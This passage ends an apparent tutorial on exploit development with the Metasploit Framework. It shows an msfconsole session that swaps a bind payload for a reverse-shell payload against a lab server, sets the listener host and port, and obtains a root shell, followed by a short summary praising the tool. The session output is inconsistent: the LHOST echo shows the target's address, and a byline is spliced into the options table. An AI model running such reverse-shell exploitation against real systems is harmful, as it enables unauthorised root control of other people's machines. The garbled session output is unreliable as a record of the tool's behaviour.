As you can see, we just exploit the vulnerable server using metasploit framework. Metasploit also give us chance to play with another payload without change any exploit code, we can use another payload directly from msfconsole when exploiting the vulnerable server.

```
msf stack_buffer_overflow(linux_ia32_bind) > set PAYLOAD linux_ia32_reverse
PAYLOAD -> linux_ia32_reverse
msf stack_buffer_overflow(linux_ia32_reverse) > show options
```

Exploit and Payload Options

=====

Simple Metasploit in Action

Cyberheb

Exploit:	Name	Default	Description
optional	DEBUG		Debugging mode
optional	SRET		RET Address
required	RHOST	192.168.80.130	Target Address
required	RPORT	7500	Target Port (vuln server)

Payload:	Name	Default	Description
required	LHOST		Local address to receive connection
required	LPORT	4321	Local port to receive connection

Target: Linux x86

```
msf stack_buffer_overflow(linux_ia32_reverse) > set LHOST 192.168.80.1
LHOST -> 192.168.80.130
msf stack_buffer_overflow(linux_ia32_reverse) > set LPORT 1337
LPORT -> 1337
msf stack_buffer_overflow(linux_ia32_reverse) > exploit
[*] Starting Reverse Handler.
[*] Attacking the server..... [*]
[*] Got connection from 192.168.80.1:1337 <-> 192.168.80.130:36997
```

```
id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
```

Summary

Metasploit Framework is one of the best security tools today, and it's an open source exploit development framework with wonderful feature on it. I just explain a simple how-to-make exploit using metasploit framework, but metasploit framework still has another greate feature for exploit development. I hope this simple article can give you a picture about exploit development using Metasploit Framework.

Cheers!